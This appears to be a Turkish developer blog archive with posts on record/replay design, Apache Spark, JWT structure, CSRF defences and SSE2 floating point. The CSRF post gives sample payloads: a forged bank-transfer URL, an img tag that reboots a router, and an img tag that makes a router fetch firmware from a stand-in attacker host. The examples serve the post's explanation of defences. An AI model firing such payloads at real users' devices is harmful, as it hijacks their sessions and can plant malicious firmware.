31 Aralık 2019 Salı

Yazılım Mimarisindeki Genel Kabiliyetler - Kaydetme (Record/Save)

Giriş
Bir çok sistemde giren veriyi veya sinyali kaydedip, gerektiği zaman tekrar oynatabilmesi isteniyor. Böylece herhangi bir andaki durumun tekrar edilebilmesi sağlanıyor.


Kaydetme için kullanılan iki temel çözüm var.

1. Gelen mesajları kaydetme
2. Mesajları işledikten sonra nesneleri yani state'i kaydetme

1. Mesaj Kaydetme
Mesajları kaydetme dışarıdan bir kanal ile beslenen bir yazılımda uygulanır. Örneğin uzaktan kumanda edilen bir yazılım gibi.

Gördüğüm bazı çözümler şöyle

1.1. Tee Kanal Kullanma
Bir nevi Unix'teki tee komutunu andırdığı için bu ismi verdim. Gerçek kanalın yerine tee kanal geçer. Gelen çağrıyı hem gerçek kanala hem de kayıt işlemini yapan kanala göndererek çalışır.

Kanal bir yazılım socketi, web servis çağrısı olabilir.

1.2. Mesajın Filtrelendikten Sonra Kaydedilmesi

Örnek
Bu yöntemde elimizde bir viewer olduğunu düşünelim. Bu viewer çeşitli filtreleme yeteneklerine sahip olsun. Kaynağa göre, Hedefe göre, Gönderilen veya Alınan durumuna göre vs. filtreleme yapıyor olsun

Kaydetme işlemi bu filtrelerden geçen mesajlara uygulanıyorsa kanal seviyesinde yapılamaz. Daha yukarı bir katmanda yani viewer seviyesinde yapmak gerekir.

1.3 Kayıt Formatı
Mesajları genellikle bir şekilde zenginleştirdikten sonra kaydetmek gerekiyor. 
Örnek
Şöyle yaparız. Burada mesaj verisi yanında ne zaman geldiği, daha sonra filtrelemek için tipi gibi ilave bilgiler de kaydediliyor.
public class StoredEvent
{
  public Guid Id { get; set; }
  public DateTime Timestamp { get; set; }
  public string EventType { get; set; }
  public string EventData { get; set; }
}
1.3 Tekrar Oynatma (Replay)
Tekrar oynatma için kaydedilmiş dosyaları okuyan bir kod lazım. Ama daha da önemlisi bu mesajları sisteme geri besleyecek bir de kanal lazım. 


2. State Kaydetme
State kaydetme örneğin simülasyon yazılımında kullanılır. Burada amaç hesaplamayı kaydetmektir.

2. 1. Nesnelerin Periyodik Olarak Kaydedilmesi
Tick bazında çalışan bir sistem olsun. Her tick'te processorlar/nesneler mesajları işledikten sonra elimizdeki her nesneyi diske kaydedelim. Örneğin nesnemiz bir araba olsun. Her tick'te arabanın konumu değişsin. Eğer araba nesnesini kaydedersek mesaj yerine nesneyi kaydetmiş oluruz ancak yine de kayıt yeteneği elde ederiz.

HLA alt yapısı kullanılıyorsa Snapshot alma yeteneği kullanılabilir.

2.2. Restore (Yeniden Yükleme)
HLA alt yapısı kullanılıyorsa Snapshot restore yeteneği kullanılabilir. HLA RTIambassador Arayüzü - Federation Restore Kabiliyeti yazısına bakabilirsiniz.

Restore işleminde aynı CRUD gibi davranmak gerekiyor. Farklı olarak nesnelerin onCreate() metodu ile onRestore() metodlarının farklı olmasını gerekebilir.  Bu yüzden

- Önce nesnelerin onRestore() metodları çağrılır. Böylece mevcut nesneler eski haline geri getirilir.
- Sonra kaydetme işleminden sonra silinmiş nesneler için tekrar onCreate()/onNew() metodları çağrılır. Böylece silinmiş nesneler tekrar ortama geri gelirler.

3. Kaydetme Ortamı
Kaydetme ortamı genellikle bellek olamıyor çünkü uzun saatler boyunca yapılan kayıtlar belleği bitirir. Bu yüzden veritabanı, gömülü veritabanı veya dosya yöntemlerinden birisi seçilebilir.

Kayıt çok fazla yer kaplıyorsa sıkıştırma düşünülebilir.



29 Aralık 2019 Pazar

Apache Spark - Data Processing Intensive Uygulamalar İçindir

Giriş
Açıklaması şöyle. Spark 2009 yılında geliştirilmeye başladı.
Apache Spark is a distributed processing engine that allows you to process large datasets across a cluster of computers. It was developed at the University of California, Berkeley in 2009 and was later donated to the Apache Software Foundation, making it an open-source project.
Hadoop ile gelen map-reduce yerine scatter-gather kullanılır. Spark ayarlarını açıklayan bir yazı burada


Maliyet
Spark maliyeti ile ilgili bir yazı burada. Yazıya göre Spark yerine data warehouses tarafından sağlanan SQL arayüzü ile çalıştırılan işler daha ucuza gelebiliyor.

Connectors
Açıklaması şöyle. Yani Apache Spark bir sürü Connector destekler
..., Spark can access all kinds of data sources, such as object stores in the cloud (S3, ABS, …), relational databases via JDBC and much more via custom connectors (Kafka, HBase, MongoDB, Cassandra, …). This wide range of connectors, coupled with the extensive support for data transformations, supports both simple data ingestion, pure data transformation or any combination such as ETL and ELT — Sparks flexibility supports very different types of workflows to fit your exact needs.

Spark ve Kubernetes
Açıklaması şöyle
In 2016, Google and Chinese technology company Huawei announced a joint project to run Spark on Kubernetes. The project aimed to make it easier for users to run Spark in a container environment and to make Kubernetes a more robust platform for large-scale data processing.
Spark Big Data İçindir
Bir başka açıklama şöyle
The primary objective of Spark is processing huge data and also supports advanced analytics with SQL queries, machine learning and graph algorithms.
Data Model
DataSet kullanılır. Bir object ve bunlarla kullanılabilir metodlar verir. 

Streams API
Açıklaması şöyle
The popular Apache Spark analytics engine for data processing provides two APIs for stream processing:

1. Spark Streaming
2. Spark Structured Streaming
Açıklaması şöyle. Yani Streams API bir anlamda SQL gibidir.
Apache Spark is a powerful framework for building flexible and scalable data processing applications. Spark offers a relatively simple yet powerful API that provides the capabilities of classic SQL SELECT statements in a clean and flexible API. 
Açıklaması şöyle
Spark Streaming is a distinct Spark library that was built as an extension of the core API to provide high-throughput and fault-tolerant processing of real-time streaming data. It allows you to connect to many data sources, execute complex operations on those data streams, and output the transformed data into different systems.
Under the hood, Spark Streaming abstracts over the continuous stream of input data with the Discretized Streams (or DStreams) API. A DStream is just a sequence, chunk, or batch of immutable, distributed data structure used by Apache Spark known as Resilient Distributed Datasets (RDDs).
Açıklaması şöyle
Under the hood, Spark Streaming abstracts over the continuous stream of input data with the Discretized Streams (or DStreams) API. A DStream is just a sequence, chunk, or batch of immutable, distributed data structure used by Apache Spark known as Resilient Distributed Datasets (RDDs).
As you can see from the following diagram, each RDD represents data over a certain time interval. Operations carried out on the DStreams will cascade to all the underlying RDDs.
Şeklen şöyle
Programlama Dili
Açıklaması şöyle
Spark Streaming provides API libraries in Java, Scala, and Python. Remember that Kafka Streams only supports writing stream processing programs in Java and Scala.
Flowman
Apache Spark için YAML ile ETL imkanı sağlar

Windowing support
Açıklaması şöyle
Spark Streaming provides support for sliding windowing. This is a time-based window characterized by two parameters: the window interval (length) and the sliding interval at which each windowed operation will be performed. Compare that to Kafka Streams, which supports four different types of windowing.a
Spark Structured Streaming
Açıklaması şöyle
.. a framework built on the Spark SQL engine that helps process data in micro-batches. Unlike Spark Streaming, Spark Structured Streaming processes data incrementally and updates the result as more data arrives.
Açıklaması şöyle
Since the Spark 2.x release, Spark Structured Streaming has become the major streaming engine for Apache Spark. It’s a high-level API built on top of the Spark SQL API component, and is therefore based on dataframe and dataset APIs that you can quickly use with an SQL query or Scala operation. Like Spark Streaming, it polls data based on time duration, but unlike Spark Streaming, rows of a stream are incrementally appended to an unbounded input table
Açıklaması şöyle
... the programming interface of SQL DataFrames and Structured Streaming DataFrames is not the same. Structured Streaming is a lot more limited in terms of what can be done ...
Şeklen şöyle


Spark Connect
Açıklaması şöyle
The introduction of Spark Connect in v3.4 has brought about a new client-server architecture for Apache Spark.
Şeklen şöyle


Storage
Hadoop gibi sadece HDFS yerine farklı depolama sistemleri kullanılır. Yani storage agnostic'tir. Açıklaması şöyle.
It integrates easily with HIVE and HDFS and provides a seamless experience of parallel data processing. 
Skewed Join
Skewed Join için açıklama şöyle. Bunları hızlandırmakla ilgili bir yazı burada
A Dataset is considered to be skewed for a Join operation when the distribution of join keys across the records in the dataset is skewed towards a small subset of keys. For example when 80% of records in the datasets contribute to only 20% of Join keys.
Spark Uygulaması
Tipik bir Spark uygulaması şöyle. Buna  "simple load-transform-save job" diyelim. Bir veri kaynağından veri yüklenir, dönüştürülür ve tekrar kaydedilir.

Biraz daha karışığı "two datasets are merged into one and then saved" şöyle
Kullanım

Örnek
Bazı kavramlar şöyle

1. HDFS
Hadoop Distributed File System anlamına gelir. Dağıtık bir dosya sistemidir

2. Apache Hive
Açıklaması şöyle
Apache Hive is the database facility running over HDFS. It allows querying data with HQL (SQL-like language).

Regular databases (e.g. PostgreSQL, Oracle) act as an abstraction layer over the local file system. While Apache Hive acts as an abstraction over HDFS. That’s it.
3. Spark Workers
Açıklaması şöyle
... Apache Spark workers run on multiple nodes and store the intermediate results in RAM. It’s written in Scala but it also supports Java and Python. 
Şeklen şöyle

Burada DataProducer Apache Hive, Data Consumer Aerospike veri tabanı, Apache Spark uygulaması da bizim yüklediğimiz jar dosyası
Gradle ile şöyle yaparız
ext {
    set('testcontainersVersion', '1.16.2')
    set('sparkVersion', '3.2.1')
    set('slf4jVersion', '1.7.36')
    set('aerospikeVersion', '5.1.11')
}

dependencies {
    annotationProcessor 'org.springframework.boot:spring-boot-configuration-processor'
    implementation('org.springframework.boot:spring-boot-starter-validation') {
        exclude group: 'org.slf4j'
    }
    implementation("com.aerospike:aerospike-client:${aerospikeVersion}") {
        exclude group: 'org.slf4j'
    }
    compileOnly "org.apache.spark:spark-core_2.13:${sparkVersion}"
    compileOnly "org.apache.spark:spark-hive_2.13:${sparkVersion}"
    compileOnly "org.apache.spark:spark-sql_2.13:${sparkVersion}"
    compileOnly "org.slf4j:slf4j-api:${slf4jVersion}"

    testImplementation 'org.apache.derby:derby'
    testImplementation "org.apache.spark:spark-core_2.13:${sparkVersion}"
    testImplementation "org.apache.spark:spark-hive_2.13:${sparkVersion}"
    testImplementation "org.apache.spark:spark-sql_2.13:${sparkVersion}"
    testImplementation 'org.springframework.boot:spring-boot-starter-test'
    testImplementation "org.slf4j:slf4j-api:${slf4jVersion}"
    testImplementation 'org.codehaus.janino:janino:3.0.8'
    testImplementation 'org.testcontainers:junit-jupiter'
    testImplementation 'org.awaitility:awaitility:4.2.0'
    testImplementation 'org.hamcrest:hamcrest-all:1.3'
}
Açıklaması şöyle
All Spark dependencies have to be marked as compileOnly. It means that they won't be included in the assembled .jar file. Apache Spark will provide the required dependencies in runtime. If you include them as implementation scope, that may lead to hard-tracking bugs during execution.
Eğer dependency'lere bakarsak açıklaması şöyle
First comes Apache Spark dependencies. The spark-core artefact is the root. The spark-hive enables data retrieving from Apache Hive. And the spark-sql dependency gives us the ability to query data from Apache Hive with SQL usage.









27 Aralık 2019 Cuma

JSON Web Token - JWT

Giriş
RFC 7519 ile tanımlı. Açıklaması şöyle.
JWT are self sufficient tokens which are used to share authentication information between different systems. They solve the problem of relying on third parties for validating an authentication token as all the information required to validate the JWT is contained within the token itself. This simplifies the process of on-boarding in a single sign-on system as there is minimal integration required. JWT are also HTTP friendly as they are just BASE-64 strings.
JWT Nedir?
Açıklaması şöyle.
JWT is an open standard (RFC 7519) for using JSON to transmit information between parties as digitally signed string tokens. They can be signed with the HMAC algorithm or using a public/private key pair using RSA or ECDSA.

To say this another way: JWTs are a JSON token that is a URL-safe, compact, and self-contained string. Typically, they carry information about a user’s verified identity. They are generally encoded and encrypted. They’re quickly becoming a de facto standard for token implementations across the web. URL-safe means that the token string can be used in a URL because all special characters have been encoded as simple alphanumeric characters. JWTs are also considered opaque because the string by itself provides no information without decoding or decryption.

Tokens are often thought of as an authorization mechanism, but they can also be used as a way to securely store and transmit information between a web application and a server, much the same way that session IDs are used.
Opaque Token Nedir?
JWT'nin rakibi Opaque Token ve PASETO

JWS Nedir?
Açıklaması şöyle.
When a JWT is signed, it’s referred to as a JWS. When it’s encrypted, it’s referred to as a JWE.
JWT Token Nerede Saklanır
JWT Token Nerede Saklanır yazısına taşıdım

JWT ve OAuth 2.0 İlişkisi
Token Based Authentication için kullanılan iki tane popüler yöntem var. Açıklaması şöyle.
OAuth 2.0 (RFC 6749 and RFC 6750).
JWT (RFC 7519).
Bazı OAuth gerçekleştirimleri altta JWT kullanıyor. Açıklaması şöyle.
Many OAuth 2.0 implementations are using JWTs for their access tokens. It should be stated that the OAuth 2.0 and JWT specifications are completely separate from each other and don’t have any dependencies on each other. Using JWTs as the token mechanism for OAuth 2.0 affords a lot of benefits ...

Whatever JWT implementation you use, you’ll have to store your nifty web token somewhere. Two popular options are cookies and HTML5 web storage. Both options have benefits and potential risks; ...
Nasıl Çalışır
Şeklen şöyle


JWT İçin POST İsteği
Basit bir application/json formatında HTTP Post isteği gönderilir. İstek şöyledir.
{
  "username":"myuser",
  "password": "mypassword"
}
Refresh Token
JWT'de Refresh Token yoktur. Açıklaması şöyle.
No “refresh” token is specified by the standard implementation. On expiry, the user will therefore have to re-authenticate.
Açıklaması şöyle.
If a user account needs to be blocked or deactivated, the application will have to wait for the token to expire for the lockout to be fully effective.
JWT 3 Kısımdan Oluşur
Bu nokta ile ayrılan 3 string'den oluşur. Açıklaması şöyle.
Header.Payload.Signature
Signature için kullanılan algoritma burada yazılıdır. Signature için genellikle HMAC-SHA256 kullanılır. Şeklen şöyle


1. Header
Temel olarak iki tane alandan oluşur. Açıklaması şöyle.
Though there is no limitation on what you can have in header, as long as there is mutual agreement between the parties involved. But usually the header consists of two parts.

typ: represents what is the type of the token and this will be JWT
alg: it denotes the algorithm used for signing this token, such as HMAC, RSA, SHA
Açıklaması şöyle.
The header is simply Base64Url encoded. It tells us the type of token and the hashing algorithms used, typically HMAC SHA256 or RSA.
Signature için kullanılan algoritma burada yazılıdır. Signature için genellikle HMAC-SHA256 kullanılır. JWT algoritmama tanımlanmamasın da izin veriyor. Açıklaması şöyle
JWTs aim to support a wide range of cryptographic algorithms, including no cryptography at all! Think about that for a minute; one of the core features of a JWT security token is the ability to disable said security.

Some of the most common JWT exploits we see are authentication bypass attacks, where an attacker is able to edit or forge a JWT and disable the token’s cryptographic verification.
Örnek
Header'ı açarsak şöyle bir şey görürüz.
{
  "typ": "JWT",
  "alg": "HS256"
}
Örnek
Sunucu ayarlarında şöyle yaparız.
JWT_ALGORITHM = "HS256"

2. Payload
Claim ve zaman damgası (timesptamp) bilgisini taşır. Açıklaması şöyle
There are two kinds of JWTs:

JWS: Payload is in "plain text" and has a signature to confirm its contents
JWE: The payload is completely encrypted.
These have slightly different use-cases. If all you need to do is verify that the data stored in the JWT is correct and has not been tampered with, then a JWS is fine (presuming you implement it properly and verify the signature on all requests). Therefore, you could store the balance in a JWS and later confirm that the reported balance is what you originally stored.

If you also want to keep the data private, then you can use a JWE. The encryption will also guarantee that the data is not modified (again, assuming you properly implement the JWE). Note that the only person who normally has access to the JWT is the end user, so we're talking about keeping it private from them - probably not necessary for your use case
Payload Ne Olursa Olsun Hassas Bilgi İçermemeli
Açıklaması şöyle.
Also, this should not contain any sensitive information about the user, e.g. password, email, etc.
Örnek
Hesap bakiyesini payload içinde tutmak isteyelim. Bu yanlış bir karar. Açıklaması şöyle.
If another transaction was made without updating a JWT, or if an old JWT is presented (aka a replay attack), then you can have a valid JWT that has the incorrect balance. This is very likely even without active attackers. Consider a user who uses more than 1 app. In your hypothetical scenario, what happens if a balance is stored in a JWT in one device, and then the user logs into another device and makes a transaction? The data in the JWT for the first device is now incorrect, even though the JWT itself is valid and has not expired. This is just one of many ways in which valid but incorrect JWTs may happen.
Örnek
Payload'u açarsak şöyle bir şey görürüz.
{
  "iss": "http://trustyapp.com/",
  "exp": 1300819380,
  "sub": "users/8983462",
  "scope": "self api/buy"
}

3. Signature
Algoritma olarak HMAC-SHA256 ve none kullanılabilir. JWT'nin değiştirilmediğini garanti eder. JWT'yi şifrelemez.

İşlem sonucunda elimize nokta karakteri ile ayrılmış şu string geçer.
token= encodeBase64(header)+ '.' +encodeBase64(payload)+ '.'+encodeBase64(signature)
Örnek
Signature şöyledir.
HMACSHA256( 
    base64UrlEncode(header) + "." + 
    base64UrlEncode(payload), 
    secret
)
Sunucu Token'ı İmzalar
Açıklaması şöyle
For example, a server could generate a token that has the claim "logged in as admin" and provide that to a client. The client could then use that token to prove that they are logged in as admin. The tokens are signed by the server's key, so the server is able to verify that the token is legitimate.
Açıklaması şöyle.
It’s super important to understand that this signature does not provide confidentiality. This information is publicly visible. The signature guarantees that the token hasn’t been tampered with, but it doesn’t hide the data (a small child can decode Base64 on their uncle’s iPhone 4). A JWT must be encrypted if you want to send sensitive information.
İmza İçin HMAC Kullanılırsa
Açıklaması şöyle.
are signed with a message authentication code (e.g. HMAC-SHA256) (the algorithm is specified in the header of the JWT)
Claim Nedir
Claim Nedir yazısına taşıdım

Opaque Token

Opaque Token Nedir?
JWT'nin rakibi Opaque Token. Açıklaması şöyle. JWT hemen iptal (revoke) edilemiyor. Ancak Opaque Token hemen iptal edilebilir çünkü her istekte veritabanına gidip kontrol yapılıyor.
- These are random strings that act as pointers to information that is held only by the system that issues them.
- These require a database/cache lookup each time they are used.
- A single token can easily be revoked on demand.

Cross Site Request Forgery - CSRF - Tarayıcıda Kullanıcı Adına İşlem Yapmak - REST İçin Gerekmez

Giriş
İnternet en başından beri cross site çalışacak şekilde tasarlandığı için bu çalışma şeklini ortadan kaldırmak mümkün değil. Bu yüzden CSRF tedbirlerini almak lazım.

CSRF Saldırının Amacı Nedir?
Açıklaması şöyle
CSRF is a vulnerability where an attacker can execute an action on behalf of a user without their knowledge or consent by tricking them into clicking a link or submitting a form. This vulnerability can be mitigated by using CSRF tokens to ensure that requests originate from the intended user.

Açıklaması şöyle. Yani açık olan bir oturumda (session) kullanıcının haberi olmadan bir işlem yapmaktır.
This attack is not used to steal auth tokens; instead, it allows an attacker to piggyback on an existing active session.
Kullanıcı Adına İstek Gönderilir
Açıklaması şöyle.
As the attacker cannot read the response, it is not of any use to force the victim to retrieve data. CSRF only targets state-changing requests such as changing credentials, transferring funds, modifying settings, etc.
CSRF, gönderilen isteğin reddedilmemesi için genellikle kullanıcının halihazırda giriş yapmış veya doğrulanmış olmasına dayanır. Açıklaması şöyle.
Typically the attacker takes advantage of the fact that the user is already authenticated.
CSRF isteğinin gönderilebilmesi için kurbanın genellikle bir linke tıklaması veya bir siteyi ziyaret etmesi gerekir. Açıklaması şöyle.
The user can be compromised when clicking a link or visiting a page with the link embedded. The latter for example could be an img tag.
Örnek
Örneğin saldırgan bir ticari reklam sitesinden reklam satın alır ve reklamın içine abcbank bankasındaki 1234 numaralı hesabına 10 TL aktarılmasını isteyen bir url yerleştirir. URL şöyledir.
https://abcbank.com/send.php?amount=10&account=1234
Reklam sitesini ziyaret eden kurban, eğer bankaya zaten giriş yapmış ise, farkında olmadan kendi hesabından saldırganına hesabına 10 TL aktarır.

img
Örnek
Şöyle yapılır. Yerel ağdaki modem yeniden başlatılır.
<img src="http://192.168.1.1/reboot_the_router?force=true">
Örnek
Şöyle yapılır. Resim ile beraber farkında olmadan bir dosya daha indirilir.
<img src="http://admin:admin@192.168.0.1/updateFirmware.cgi?file=hxxp://hax.com/hax.bin&confirmUpgrade=true"/>
CSRF Çözümleri
1. Tarayıcı yerine REST kullanmak
2. Cookie kullanmamak

CSRF ve REST
Eğer sadece REST kullanıyorsak yani tarayıcı yoksa, CSRF gerekmez. Açıklaması şöyle
Our recommendation is to use CSRF protection for any request that could be processed by a browser by normal users. If you are only creating a service that is used by non-browser clients, you will likely want to disable CSRF protection.
REST ile CSRF gerekmemesini açıklaması şöyle. REST çağrıları kodla yapılabildiği için kodla her şeyi doldurup göndermek mümkün, dolayısıyla CSRF gerekmiyor.
A non-browser client will be in control of both the token and the cookie so can make them match (if it can get the cookie at all). So there's no point having complicated CSRF protection if the service is never going to be accessed by a browser.
CSRF ve Cookie
Cookie kullanılmıyorsa, CSRF saldırısı olamaz.  Açıklaması şöyle
No cookies = No CSRF

It really is that simple. Browsers send cookies along with all requests. CSRF attacks depend upon this behavior. If you do not use cookies, and don't rely on cookies for authentication, then there is absolutely no room for CSRF attacks, and no reason to put in CSRF protection. If you have cookies, especially if you use them for authentication, then you need CSRF protection. If all you want to know is "Do I need CSRF protection for my API endpoint?" you can stop right here and leave with your answer. Otherwise, the devil is in the details.

Tarayıcı Kullanıyorsak CSRF Çözümleri

Çözümler şu mantığa dayanıyor. 
Sunucu, tarayıcıya oturum başlayınca gizli bir bilgi gönderir ve tarayıcı isteğinde bu bilginin aynı olup olmadığını kontrol eder.

Çözümler şöyle.

1. the "Synchronizer token" pattern
Formlarda kullanılır. Açıklaması şöyle. Sunucu session bilgisi saklar.
The traditional way (the "Synchronizer token" pattern) usually involves setting a unique valid Token value for each request and then verifying that unique value when the request is subsequently sent in. It is usually done by setting a hidden form field. The token value is usually short lived and associated to that session, so if a hacker tries to reuse a value they saw previously on the page, or tries to guess the value they will likely fail. So only requests from your application will work and forged requests from outside your application/domain (aka cross site request forgery) will fail.

The downside of that is it requires your application to set this hidden token on all HTML forms. These pages now have to be dynamically generated by an application, when perhaps previously they were static HTML. It can also break the back button (as you need to refresh the form to regenerate another unique CSRF value). You also now need to keep track of valid tokens on the server side and check any requests use a valid token. This can take quite a bit of extra effort to implement and maintain going forward.
Örnek - Yanlış Form
Şöyle yaparız
<form method="post" action="submit">
  <input type="text" name="title">
  <input type="text" name="note">
  <input type="submit" value="submit">
  <!-- NO TOKEN TO PREVENT CSRF HERE!!! -->
</form>
Örnek
<form action="/change-password" method="POST">
  <input type="hidden" name="csrf-token" value="xyz">
  <input type="password" name="new-password">
  <input type="submit" value="Change Password">
</form>
2. the "Cookie-to-header token" pattern
Açıklaması şöyle. Cookie'deki bilgi JavaScript tarafından http header içinde gönderilir. Sunucu session bilgisi saklar.
An alternative approach (called the "Cookie-to-header token" pattern) is to set a Cookie once per session and the have JavaScript read that cookie and set a custom HTTP header (often called X-CSRF-TOKEN or X-XSRF-TOKEN or just XSRF-TOKEN) with that value. Any requests will send both the header (set by Javascript) and the cookie (set by the browser as a standard HTTP header) and then the server can check that value in the X-CSRF-TOKEN header matches the value in the cookie header. The idea being that only JavaScript run on the same domain would have access to the cookie, so JavaScript from another domain couldn't set this header to the right value (assuming the page is not vulnerable to XSS that would give access to this cookie). Even fake links (e.g. in a phishing email) would not work either, as even though they would appear to come from the right domain, only the cookie will be set but not X-CSRF-TOKEN header.

This can be MUCH easier to implement than the Synchronizer token pattern as you don't need to set the token for each call to each form, and the check is relatively simple too (just check the cookie matches the header) rather than tracking CSRF tokens validity. All you need is to set a cookie to a random value for each session. Some front end frameworks will even automatically generate the header for you if they see the cookie (e.g. AngularJS does this for example).
3. the "Double Submit Cookie" pattern
Cookie-to-header ile benzeşir ancak  biraz farklı. Açıklaması şöyle. Cookie bir form alanı tarafından gönderilir ancak bu sefer sunucu state saklamaz. Yani session ile cookie eşleşmesi yapmaz. Tarayıcı tarafından form içinde gönderilen bilgi doğrulama için yeterlidir.
The downside of Cookie-to-header is that it requires JavaScript to work and also it will only work for requests the JavaScript makes (e.g. XHR requests) - regular HTML form requests would not set the header. A variation on this (the "Double Submit Cookie" pattern) puts the X-CSRF-TOKEN value in a hidden form field rather than in an HTTP Header to get around this but still keep the server side logic simpler than the traditional Synchronizer token pattern.
Açıklaması şöyle
When a user authenticates to a site, the site should generate a (cryptographically strong) pseudo-random value and set it as a cookie on the user’s machine separate from the session ID. The server does not have to save this value in any way, that's why this pattern is also called Stateless CSRF Defense.

The site then requires that every transaction request include this random value as a hidden form value (or other request parameter). A cross origin attacker cannot read any data sent from the server or modify cookie values, per the same-origin policy.

In the case of this mitigation technique the job of the client is very simple, just retrieve the CSRF cookie from the response and add it into a special header to all the requests


26 Aralık 2019 Perşembe

Streaming SIMD Extensions 2 (SSE2) FPU

Giriş
Açıklaması şöyle. SSE2 FPU, geçici sonuçları da 32 veya 64 bit olarak saklar.
If you have SSE2, use it and live happily ever after. SSE2 supports both 32b and 64b operations and the intermediate results are of the size of the operands. BTW, mixed expressions like a+b where a is float and b is double don't create consistency problems on any platform because the C standard specifies the rules for promotion precisely and portably (a will be promoted to double). The gcc way of using SSE2 for FP is -mfpmath=sse -msse2.
C# kullanırken Platform = AnyCPU seçilir ve makinemiz 64 bit ise, SSE2 FPU kullanılır. Açıklaması şöyle.
Intel didn't make the same mistake when they designed the SSE instruction set. The XMM registers are freely addressable and don't store extra bits. If you want consistent results then compiling with the AnyCPU target, and a 64-bit operating system, is the quick solution. The x64 jitter uses SSE instead of FPU instructions for floating point math.
Vector API
Açıklaması şöyle
All modern processors have single instruction, multiple data (SIMD) capabilities.  Multiple elements of an array can be loaded into very wide registers, such as the 512-bit AVX-512 on specific Intel processors.  For example, a single operation, adding 10 to each value, can be performed in a single machine instruction cycle, significantly improving the performance of numerically intensive code.